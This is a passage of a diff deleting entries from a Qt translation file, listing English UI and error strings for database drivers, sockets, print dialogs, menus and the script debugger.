    -        
    -            Proxy server not found
    -            Proxy server not found
    -        
    -        
    -            Proxy connection refused
    -            Proxy connection refused
    -        
    -        
    -            Proxy server connection timed out
    -            Proxy server connection timed out
    -        
    -        
    -            Proxy connection closed prematurely
    -            Proxy connection closed prematurely
    -        
    -    
    -    
    -        QIBaseDriver
    -        
    -            Error opening database
    -            Error opening database
    -        
    -        
    -            Could not start transaction
    -            Could not start transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QIBaseResult
    -        
    -            Unable to create BLOB
    -            Unable to create BLOB
    -        
    -        
    -            Unable to write BLOB
    -            Unable to write BLOB
    -        
    -        
    -            Unable to open BLOB
    -            Unable to open BLOB
    -        
    -        
    -            Unable to read BLOB
    -            Unable to read BLOB
    -        
    -        
    -            Could not find array
    -            Could not find array
    -        
    -        
    -            Could not get array data
    -            Could not get array data
    -        
    -        
    -            Could not get query info
    -            Could not get query info
    -        
    -        
    -            Could not start transaction
    -            Could not start transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Could not allocate statement
    -            Could not allocate statement
    -        
    -        
    -            Could not prepare statement
    -            Could not prepare statement
    -        
    -        
    -            Could not describe input statement
    -            Could not describe input statement
    -        
    -        
    -            Could not describe statement
    -            Could not describe statement
    -        
    -        
    -            Unable to close statement
    -            Unable to close statement
    -        
    -        
    -            Unable to execute query
    -            Unable to execute query
    -        
    -        
    -            Could not fetch next item
    -            Could not fetch next item
    -        
    -        
    -            Could not get statement info
    -            Could not get statement info
    -        
    -    
    -    
    -        QIODevice
    -        
    -            Permission denied
    -            Permission denied
    -        
    -        
    -            Too many open files
    -            Too many open files
    -        
    -        
    -            No such file or directory
    -            No such file or directory
    -        
    -        
    -            No space left on device
    -            No space left on device
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QInputContext
    -        
    -            XIM
    -            XIM
    -        
    -        
    -            FEP
    -            FEP
    -        
    -        
    -            XIM input method
    -            XIM input method
    -        
    -        
    -            Windows input method
    -            Windows input method
    -        
    -        
    -            Mac OS X input method
    -            Mac OS X input method
    -        
    -        
    -            S60 FEP input method
    -            S60 FEP input method
    -        
    -    
    -    
    -        QInputDialog
    -        
    -            Enter a value:
    -            Enter a value:
    -        
    -    
    -    
    -        QLibrary
    -        
    -            Could not mmap '%1': %2
    -            Could not mmap '%1': %2
    -        
    -        
    -            Plugin verification data mismatch in '%1'
    -            Plugin verification data mismatch in '%1'
    -        
    -        
    -            Could not unmap '%1': %2
    -            Could not unmap '%1': %2
    -        
    -        
    -            The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -            The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -        
    -        
    -            The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -            The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            The shared library was not found.
    -            The shared library was not found.
    -        
    -        
    -            The file '%1' is not a valid Qt plugin.
    -            The file '%1' is not a valid Qt plugin.
    -        
    -        
    -            The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -            The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -        
    -        
    -            Cannot load library %1: %2
    -            Cannot load library %1: %2
    -        
    -        
    -            Cannot unload library %1: %2
    -            Cannot unload library %1: %2
    -        
    -        
    -            Cannot resolve symbol "%1" in %2: %3
    -            Cannot resolve symbol "%1" in %2: %3
    -        
    -    
    -    
    -        QLineEdit
    -        
    -            Select All
    -            Select All
    -        
    -        
    -            &Undo
    -            &Undo
    -        
    -        
    -            &Redo
    -            &Redo
    -        
    -        
    -            Cu&t
    -            Cu&t
    -        
    -        
    -            &Copy
    -            &Copy
    -        
    -        
    -            &Paste
    -            &Paste
    -        
    -        
    -            Delete
    -            Delete
    -        
    -    
    -    
    -        QLocalServer
    -        
    -            %1: Name error
    -            %1: Name error
    -        
    -        
    -            %1: Permission denied
    -            %1: Permission denied
    -        
    -        
    -            %1: Address in use
    -            %1: Address in use
    -        
    -        
    -            %1: Unknown error %2
    -            %1: Unknown error %2
    -        
    -    
    -    
    -        QLocalSocket
    -        
    -            %1: Connection refused
    -            %1: Connection refused
    -        
    -        
    -            %1: Remote closed
    -            %1: Remote closed
    -        
    -        
    -            %1: Invalid name
    -            %1: Invalid name
    -        
    -        
    -            %1: Socket access error
    -            %1: Socket access error
    -        
    -        
    -            %1: Socket resource error
    -            %1: Socket resource error
    -        
    -        
    -            %1: Socket operation timed out
    -            %1: Socket operation timed out
    -        
    -        
    -            %1: Datagram too large
    -            %1: Datagram too large
    -        
    -        
    -            %1: Connection error
    -            %1: Connection error
    -        
    -        
    -            %1: The socket operation is not supported
    -            %1: The socket operation is not supported
    -        
    -        
    -            %1: Unknown error
    -            %1: Unknown error
    -        
    -        
    -            %1: Unknown error %2
    -            %1: Unknown error %2
    -        
    -    
    -    
    -        QMYSQLDriver
    -        
    -            Unable to open database '
    -            Unable to open database '
    -        
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QMYSQLResult
    -        
    -            Unable to fetch data
    -            Unable to fetch data
    -        
    -        
    -            Unable to execute query
    -            Unable to execute query
    -        
    -        
    -            Unable to store result
    -            Unable to store result
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to reset statement
    -            Unable to reset statement
    -        
    -        
    -            Unable to bind value
    -            Unable to bind value
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to bind outvalues
    -            Unable to bind outvalues
    -        
    -        
    -            Unable to store statement results
    -            Unable to store statement results
    -        
    -        
    -            Unable to execute next query
    -            Unable to execute next query
    -        
    -        
    -            Unable to store next result
    -            Unable to store next result
    -        
    -    
    -    
    -        QMdiArea
    -        
    -            (Untitled)
    -            (Untitled)
    -        
    -    
    -    
    -        QMdiSubWindow
    -        
    -            %1 - [%2]
    -            %1 - [%2]
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Minimize
    -            Minimize
    -        
    -        
    -            Restore Down
    -            Restore Down
    -        
    -        
    -            &Restore
    -            &Restore
    -        
    -        
    -            &Move
    -            &Move
    -        
    -        
    -            &Size
    -            &Size
    -        
    -        
    -            Mi&nimize
    -            Mi&nimize
    -        
    -        
    -            Ma&ximize
    -            Ma&ximize
    -        
    -        
    -            Stay on &Top
    -            Stay on &Top
    -        
    -        
    -            &Close
    -            &Close
    -        
    -        
    -            Maximize
    -            Maximize
    -        
    -        
    -            Unshade
    -            Unshade
    -        
    -        
    -            Shade
    -            Shade
    -        
    -        
    -            Restore
    -            Restore
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Menu
    -            Menu
    -        
    -        
    -            - [%1]
    -            - [%1]
    -        
    -    
    -    
    -        QMenu
    -        
    -            Close
    -            Close
    -        
    -        
    -            Open
    -            Open
    -        
    -        
    -            Execute
    -            Execute
    -        
    -    
    -    
    -        QMenuBar
    -        
    -            Actions
    -            Actions
    -        
    -    
    -    
    -        QMessageBox
    -        
    -            OK
    -            OK
    -        
    -        
    -            <h3>About Qt</h3><p>This program uses Qt version %1.</p>
    -            <h3>About Qt</h3><p>This program uses Qt version %1.</p>
    -        
    -        
    -            <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -            <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -        
    -        
    -            About Qt
    -            About Qt
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Show Details...
    -            Show Details...
    -        
    -        
    -            Hide Details...
    -            Hide Details...
    -        
    -    
    -    
    -        QMultiInputContext
    -        
    -            Select IM
    -            Select IM
    -        
    -    
    -    
    -        QMultiInputContextPlugin
    -        
    -            Multiple input method switcher
    -            Multiple input method switcher
    -        
    -        
    -            Multiple input method switcher that uses the context menu of the text widgets
    -            Multiple input method switcher that uses the context menu of the text widgets
    -        
    -    
    -    
    -        QNativeSocketEngine
    -        
    -            The remote host closed the connection
    -            The remote host closed the connection
    -        
    -        
    -            Network operation timed out
    -            Network operation timed out
    -        
    -        
    -            Out of resources
    -            Out of resources
    -        
    -        
    -            Unsupported socket operation
    -            Unsupported socket operation
    -        
    -        
    -            Protocol type not supported
    -            Protocol type not supported
    -        
    -        
    -            Invalid socket descriptor
    -            Invalid socket descriptor
    -        
    -        
    -            Network unreachable
    -            Network unreachable
    -        
    -        
    -            Permission denied
    -            Permission denied
    -        
    -        
    -            Connection timed out
    -            Connection timed out
    -        
    -        
    -            Connection refused
    -            Connection refused
    -        
    -        
    -            The bound address is already in use
    -            The bound address is already in use
    -        
    -        
    -            The address is not available
    -            The address is not available
    -        
    -        
    -            The address is protected
    -            The address is protected
    -        
    -        
    -            Unable to send a message
    -            Unable to send a message
    -        
    -        
    -            Unable to receive a message
    -            Unable to receive a message
    -        
    -        
    -            Unable to write
    -            Unable to write
    -        
    -        
    -            Network error
    -            Network error
    -        
    -        
    -            Another socket is already listening on the same port
    -            Another socket is already listening on the same port
    -        
    -        
    -            Unable to initialize non-blocking socket
    -            Unable to initialize non-blocking socket
    -        
    -        
    -            Unable to initialize broadcast socket
    -            Unable to initialize broadcast socket
    -        
    -        
    -            Attempt to use IPv6 socket on a platform with no IPv6 support
    -            Attempt to use IPv6 socket on a platform with no IPv6 support
    -        
    -        
    -            Host unreachable
    -            Host unreachable
    -        
    -        
    -            Datagram was too large to send
    -            Datagram was too large to send
    -        
    -        
    -            Operation on non-socket
    -            Operation on non-socket
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            The proxy type is invalid for this operation
    -            The proxy type is invalid for this operation
    -        
    -    
    -    
    -        QNetworkAccessCacheBackend
    -        
    -            Error opening %1
    -            Error opening %1
    -        
    -    
    -    
    -        QNetworkAccessDebugPipeBackend
    -        
    -            Write error writing to %1: %2
    -            Write error writing to %1: %2
    -        
    -    
    -    
    -        QNetworkAccessFileBackend
    -        
    -            Request for opening non-local file %1
    -            Request for opening non-local file %1
    -        
    -        
    -            Error opening %1: %2
    -            Error opening %1: %2
    -        
    -        
    -            Write error writing to %1: %2
    -            Write error writing to %1: %2
    -        
    -        
    -            Cannot open %1: Path is a directory
    -            Cannot open %1: Path is a directory
    -        
    -        
    -            Read error reading from %1: %2
    -            Read error reading from %1: %2
    -        
    -    
    -    
    -        QNetworkAccessFtpBackend
    -        
    -            No suitable proxy found
    -            No suitable proxy found
    -        
    -        
    -            Cannot open %1: is a directory
    -            Cannot open %1: is a directory
    -        
    -        
    -            Logging in to %1 failed: authentication required
    -            Logging in to %1 failed: authentication required
    -        
    -        
    -            Error while downloading %1: %2
    -            Error while downloading %1: %2
    -        
    -        
    -            Error while uploading %1: %2
    -            Error while uploading %1: %2
    -        
    -    
    -    
    -        QNetworkAccessHttpBackend
    -        
    -            No suitable proxy found
    -            No suitable proxy found
    -        
    -    
    -    
    -        QNetworkReply
    -        
    -            Error downloading %1 - server replied: %2
    -            Error downloading %1 - server replied: %2
    -        
    -        
    -            Protocol "%1" is unknown
    -            Protocol "%1" is unknown
    -        
    -    
    -    
    -        QNetworkReplyImpl
    -        
    -            Operation canceled
    -            Operation canceled
    -        
    -    
    -    
    -        QOCIDriver
    -        
    -            Unable to logon
    -            Unable to logon
    -        
    -        
    -            Unable to initialize
    -            QOCIDriver
    -            Unable to initialize
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QOCIResult
    -        
    -            Unable to bind column for batch execute
    -            Unable to bind column for batch execute
    -        
    -        
    -            Unable to execute batch statement
    -            Unable to execute batch statement
    -        
    -        
    -            Unable to goto next
    -            Unable to goto next
    -        
    -        
    -            Unable to alloc statement
    -            Unable to alloc statement
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to get statement type
    -            Unable to get statement type
    -        
    -        
    -            Unable to bind value
    -            Unable to bind value
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -    
    -    
    -        QODBCDriver
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Unable to disable autocommit
    -            Unable to disable autocommit
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -        
    -            Unable to enable autocommit
    -            Unable to enable autocommit
    -        
    -        
    -            Unable to connect - Driver doesn't support all functionality required
    -            Unable to connect - Driver doesn't support all functionality required
    -        
    -    
    -    
    -        QODBCResult
    -        
    -            QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -            QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to fetch next
    -            Unable to fetch next
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -        
    -            Unable to bind variable
    -            Unable to bind variable
    -        
    -        
    -            Unable to fetch last
    -            Unable to fetch last
    -        
    -        
    -            Unable to fetch
    -            Unable to fetch
    -        
    -        
    -            Unable to fetch first
    -            Unable to fetch first
    -        
    -        
    -            Unable to fetch previous
    -            Unable to fetch previous
    -        
    -    
    -    
    -        QObject
    -        
    -            Invalid hostname
    -            Invalid hostname
    -        
    -        
    -            Operation not supported on %1
    -            Operation not supported on %1
    -        
    -        
    -            Invalid URI: %1
    -            Invalid URI: %1
    -        
    -        
    -            Socket error on %1: %2
    -            Socket error on %1: %2
    -        
    -        
    -            Remote host closed the connection prematurely on %1
    -            Remote host closed the connection prematurely on %1
    -        
    -        
    -            No host name given
    -            No host name given
    -        
    -    
    -    
    -        QPPDOptionsModel
    -        
    -            Name
    -            Name
    -        
    -        
    -            Value
    -            Value
    -        
    -    
    -    
    -        QPSQLDriver
    -        
    -            Unable to connect
    -            Unable to connect
    -        
    -        
    -            Could not begin transaction
    -            Could not begin transaction
    -        
    -        
    -            Could not commit transaction
    -            Could not commit transaction
    -        
    -        
    -            Could not rollback transaction
    -            Could not rollback transaction
    -        
    -        
    -            Unable to subscribe
    -            Unable to subscribe
    -        
    -        
    -            Unable to unsubscribe
    -            Unable to unsubscribe
    -        
    -    
    -    
    -        QPSQLResult
    -        
    -            Unable to create query
    -            Unable to create query
    -        
    -        
    -            Unable to prepare statement
    -            Unable to prepare statement
    -        
    -    
    -    
    -        QPageSetupWidget
    -        
    -            Centimeters (cm)
    -            Centimeters (cm)
    -        
    -        
    -            Millimeters (mm)
    -            Millimeters (mm)
    -        
    -        
    -            Inches (in)
    -            Inches (in)
    -        
    -        
    -            Points (pt)
    -            Points (pt)
    -        
    -        
    -            Form
    -            Form
    -        
    -        
    -            Paper
    -            Paper
    -        
    -        
    -            Page size:
    -            Page size:
    -        
    -        
    -            Width:
    -            Width:
    -        
    -        
    -            Height:
    -            Height:
    -        
    -        
    -            Paper source:
    -            Paper source:
    -        
    -        
    -            Orientation
    -            Orientation
    -        
    -        
    -            Portrait
    -            Portrait
    -        
    -        
    -            Landscape
    -            Landscape
    -        
    -        
    -            Reverse landscape
    -            Reverse landscape
    -        
    -        
    -            Reverse portrait
    -            Reverse portrait
    -        
    -        
    -            Margins
    -            Margins
    -        
    -        
    -            top margin
    -            top margin
    -        
    -        
    -            left margin
    -            left margin
    -        
    -        
    -            right margin
    -            right margin
    -        
    -        
    -            bottom margin
    -            bottom margin
    -        
    -    
    -    
    -        QPluginLoader
    -        
    -            Unknown error
    -            Unknown error
    -        
    -        
    -            The plugin was not loaded.
    -            The plugin was not loaded.
    -        
    -    
    -    
    -        QPrintDialog
    -        
    -            locally connected
    -            locally connected
    -        
    -        
    -            Aliases: %1
    -            Aliases: %1
    -        
    -        
    -            unknown
    -            unknown
    -        
    -        
    -            OK
    -            OK
    -        
    -        
    -            Print all
    -            Print all
    -        
    -        
    -            Print range
    -            Print range
    -        
    -        
    -            A0 (841 x 1189 mm)
    -            A0 (841 x 1189 mm)
    -        
    -        
    -            A1 (594 x 841 mm)
    -            A1 (594 x 841 mm)
    -        
    -        
    -            A2 (420 x 594 mm)
    -            A2 (420 x 594 mm)
    -        
    -        
    -            A3 (297 x 420 mm)
    -            A3 (297 x 420 mm)
    -        
    -        
    -            A5 (148 x 210 mm)
    -            A5 (148 x 210 mm)
    -        
    -        
    -            A6 (105 x 148 mm)
    -            A6 (105 x 148 mm)
    -        
    -        
    -            A7 (74 x 105 mm)
    -            A7 (74 x 105 mm)
    -        
    -        
    -            A8 (52 x 74 mm)
    -            A8 (52 x 74 mm)
    -        
    -        
    -            A9 (37 x 52 mm)
    -            A9 (37 x 52 mm)
    -        
    -        
    -            B0 (1000 x 1414 mm)
    -            B0 (1000 x 1414 mm)
    -        
    -        
    -            B1 (707 x 1000 mm)
    -            B1 (707 x 1000 mm)
    -        
    -        
    -            B2 (500 x 707 mm)
    -            B2 (500 x 707 mm)
    -        
    -        
    -            B3 (353 x 500 mm)
    -            B3 (353 x 500 mm)
    -        
    -        
    -            B4 (250 x 353 mm)
    -            B4 (250 x 353 mm)
    -        
    -        
    -            B6 (125 x 176 mm)
    -            B6 (125 x 176 mm)
    -        
    -        
    -            B7 (88 x 125 mm)
    -            B7 (88 x 125 mm)
    -        
    -        
    -            B8 (62 x 88 mm)
    -            B8 (62 x 88 mm)
    -        
    -        
    -            B9 (44 x 62 mm)
    -            B9 (44 x 62 mm)
    -        
    -        
    -            B10 (31 x 44 mm)
    -            B10 (31 x 44 mm)
    -        
    -        
    -            C5E (163 x 229 mm)
    -            C5E (163 x 229 mm)
    -        
    -        
    -            DLE (110 x 220 mm)
    -            DLE (110 x 220 mm)
    -        
    -        
    -            Folio (210 x 330 mm)
    -            Folio (210 x 330 mm)
    -        
    -        
    -            Ledger (432 x 279 mm)
    -            Ledger (432 x 279 mm)
    -        
    -        
    -            Tabloid (279 x 432 mm)
    -            Tabloid (279 x 432 mm)
    -        
    -        
    -            US Common #10 Envelope (105 x 241 mm)
    -            US Common #10 Envelope (105 x 241 mm)
    -        
    -        
    -            A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -            A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -        
    -        
    -            B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -            B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -        
    -        
    -            Executive (7.5 x 10 inches, 191 x 254 mm)
    -            Executive (7.5 x 10 inches, 191 x 254 mm)
    -        
    -        
    -            Legal (8.5 x 14 inches, 216 x 356 mm)
    -            Legal (8.5 x 14 inches, 216 x 356 mm)
    -        
    -        
    -            Letter (8.5 x 11 inches, 216 x 279 mm)
    -            Letter (8.5 x 11 inches, 216 x 279 mm)
    -        
    -        
    -            Print selection
    -            Print selection
    -        
    -        
    -            Print
    -            Print
    -        
    -        
    -            Print To File ...
    -            Print To File ...
    -        
    -        
    -            File %1 is not writable.
    -Please choose a different file name.
    -            File %1 is not writable.
    -Please choose a different file name.
    -        
    -        
    -            %1 already exists.
    -Do you want to overwrite it?
    -            %1 already exists.
    -Do you want to overwrite it?
    -        
    -        
    -            File exists
    -            File exists
    -        
    -        
    -            <qt>Do you want to overwrite it?</qt>
    -            <qt>Do you want to overwrite it?</qt>
    -        
    -        
    -            %1 is a directory.
    -Please choose a different file name.
    -            %1 is a directory.
    -Please choose a different file name.
    -        
    -        
    -            The 'From' value cannot be greater than the 'To' value.
    -            The 'From' value cannot be greater than the 'To' value.
    -        
    -        
    -            A0
    -            A0
    -        
    -        
    -            A1
    -            A1
    -        
    -        
    -            A2
    -            A2
    -        
    -        
    -            A3
    -            A3
    -        
    -        
    -            A4
    -            A4
    -        
    -        
    -            A5
    -            A5
    -        
    -        
    -            A6
    -            A6
    -        
    -        
    -            A7
    -            A7
    -        
    -        
    -            A8
    -            A8
    -        
    -        
    -            A9
    -            A9
    -        
    -        
    -            B0
    -            B0
    -        
    -        
    -            B1
    -            B1
    -        
    -        
    -            B2
    -            B2
    -        
    -        
    -            B3
    -            B3
    -        
    -        
    -            B4
    -            B4
    -        
    -        
    -            B5
    -            B5
    -        
    -        
    -            B6
    -            B6
    -        
    -        
    -            B7
    -            B7
    -        
    -        
    -            B8
    -            B8
    -        
    -        
    -            B9
    -            B9
    -        
    -        
    -            B10
    -            B10
    -        
    -        
    -            C5E
    -            C5E
    -        
    -        
    -            DLE
    -            DLE
    -        
    -        
    -            Executive
    -            Executive
    -        
    -        
    -            Folio
    -            Folio
    -        
    -        
    -            Ledger
    -            Ledger
    -        
    -        
    -            Legal
    -            Legal
    -        
    -        
    -            Letter
    -            Letter
    -        
    -        
    -            Tabloid
    -            Tabloid
    -        
    -        
    -            US Common #10 Envelope
    -            US Common #10 Envelope
    -        
    -        
    -            Custom
    -            Custom
    -        
    -        
    -            &Options >>
    -            &Options >>
    -        
    -        
    -            &Options <<
    -            &Options <<
    -        
    -        
    -            Print to File (PDF)
    -            Print to File (PDF)
    -        
    -        
    -            Print to File (Postscript)
    -            Print to File (Postscript)
    -        
    -        
    -            Local file
    -            Local file
    -        
    -        
    -            Write %1 file
    -            Write %1 file
    -        
    -        
    -            &Print
    -            &Print
    -        
    -    
    -    
    -        QPrintPreviewDialog
    -        
    -            %1%
    -            %1%
    -        
    -        
    -            Print Preview
    -            Print Preview
    -        
    -        
    -            Next page
    -            Next page
    -        
    -        
    -            Previous page
    -            Previous page
    -        
    -        
    -            First page
    -            First page
    -        
    -        
    -            Last page
    -            Last page
    -        
    -        
    -            Fit width
    -            Fit width
    -        
    -        
    -            Fit page
    -            Fit page
    -        
    -        
    -            Zoom in
    -            Zoom in
    -        
    -        
    -            Zoom out
    -            Zoom out
    -        
    -        
    -            Portrait
    -            Portrait
    -        
    -        
    -            Landscape
    -            Landscape
    -        
    -        
    -            Show single page
    -            Show single page
    -        
    -        
    -            Show facing pages
    -            Show facing pages
    -        
    -        
    -            Show overview of all pages
    -            Show overview of all pages
    -        
    -        
    -            Print
    -            Print
    -        
    -        
    -            Page setup
    -            Page setup
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Export to PDF
    -            Export to PDF
    -        
    -        
    -            Export to PostScript
    -            Export to PostScript
    -        
    -        
    -            Page Setup
    -            Page Setup
    -        
    -    
    -    
    -        QPrintPropertiesWidget
    -        
    -            Form
    -            Form
    -        
    -        
    -            Page
    -            Page
    -        
    -        
    -            Advanced
    -            Advanced
    -        
    -    
    -    
    -        QPrintSettingsOutput
    -        
    -            Form
    -            Form
    -        
    -        
    -            Copies
    -            Copies
    -        
    -        
    -            Print range
    -            Print range
    -        
    -        
    -            Print all
    -            Print all
    -        
    -        
    -            Pages from
    -            Pages from
    -        
    -        
    -            to
    -            to
    -        
    -        
    -            Selection
    -            Selection
    -        
    -        
    -            Output Settings
    -            Output Settings
    -        
    -        
    -            Copies:
    -            Copies:
    -        
    -        
    -            Collate
    -            Collate
    -        
    -        
    -            Reverse
    -            Reverse
    -        
    -        
    -            Options
    -            Options
    -        
    -        
    -            Color Mode
    -            Color Mode
    -        
    -        
    -            Color
    -            Color
    -        
    -        
    -            Grayscale
    -            Grayscale
    -        
    -        
    -            Duplex Printing
    -            Duplex Printing
    -        
    -        
    -            None
    -            None
    -        
    -        
    -            Long side
    -            Long side
    -        
    -        
    -            Short side
    -            Short side
    -        
    -    
    -    
    -        QPrintWidget
    -        
    -            Form
    -            Form
    -        
    -        
    -            Printer
    -            Printer
    -        
    -        
    -            &Name:
    -            &Name:
    -        
    -        
    -            P&roperties
    -            P&roperties
    -        
    -        
    -            Location:
    -            Location:
    -        
    -        
    -            Preview
    -            Preview
    -        
    -        
    -            Type:
    -            Type:
    -        
    -        
    -            Output &file:
    -            Output &file:
    -        
    -        
    -            ...
    -            ...
    -        
    -    
    -    
    -        QProcess
    -        
    -            Could not open input redirection for reading
    -            Could not open input redirection for reading
    -        
    -        
    -            Could not open output redirection for writing
    -            Could not open output redirection for writing
    -        
    -        
    -            Resource error (fork failure): %1
    -            Resource error (fork failure): %1
    -        
    -        
    -            Process operation timed out
    -            Process operation timed out
    -        
    -        
    -            Error reading from process
    -            Error reading from process
    -        
    -        
    -            Error writing to process
    -            Error writing to process
    -        
    -        
    -            Process crashed
    -            Process crashed
    -        
    -        
    -            No program defined
    -            No program defined
    -        
    -        
    -            Process failed to start: %1
    -            Process failed to start: %1
    -        
    -    
    -    
    -        QProgressDialog
    -        
    -            Cancel
    -            Cancel
    -        
    -    
    -    
    -        QPushButton
    -        
    -            Open
    -            Open
    -        
    -    
    -    
    -        QRadioButton
    -        
    -            Check
    -            Check
    -        
    -    
    -    
    -        QRegExp
    -        
    -            no error occurred
    -            no error occurred
    -        
    -        
    -            disabled feature used
    -            disabled feature used
    -        
    -        
    -            bad char class syntax
    -            bad char class syntax
    -        
    -        
    -            bad lookahead syntax
    -            bad lookahead syntax
    -        
    -        
    -            bad repetition syntax
    -            bad repetition syntax
    -        
    -        
    -            invalid octal value
    -            invalid octal value
    -        
    -        
    -            missing left delim
    -            missing left delim
    -        
    -        
    -            unexpected end
    -            unexpected end
    -        
    -        
    -            met internal limit
    -            met internal limit
    -        
    -        
    -            invalid interval
    -            invalid interval
    -        
    -        
    -            invalid category
    -            invalid category
    -        
    -    
    -    
    -        QSQLite2Driver
    -        
    -            Error opening database
    -            Error opening database
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QSQLite2Result
    -        
    -            Unable to fetch results
    -            Unable to fetch results
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -    
    -    
    -        QSQLiteDriver
    -        
    -            Error opening database
    -            Error opening database
    -        
    -        
    -            Error closing database
    -            Error closing database
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QSQLiteResult
    -        
    -            Unable to fetch row
    -            Unable to fetch row
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to reset statement
    -            Unable to reset statement
    -        
    -        
    -            Unable to bind parameters
    -            Unable to bind parameters
    -        
    -        
    -            Parameter count mismatch
    -            Parameter count mismatch
    -        
    -        
    -            No query
    -            No query
    -        
    -    
    -    
    -        QScriptBreakpointsModel
    -        
    -            ID
    -            ID
    -        
    -        
    -            Location
    -            Location
    -        
    -        
    -            Condition
    -            Condition
    -        
    -        
    -            Ignore-count
    -            Ignore-count
    -        
    -        
    -            Single-shot
    -            Single-shot
    -        
    -        
    -            Hit-count
    -            Hit-count
    -        
    -    
    -    
    -        QScriptBreakpointsWidget
    -        
    -            New
    -            New
    -        
    -        
    -            Delete
    -            Delete
    -        
    -    
    -    
    -        QScriptDebugger
    -        
    -            Go to Line
    -            Go to Line
    -        
    -        
    -            Line:
    -            Line:
    -        
    -        
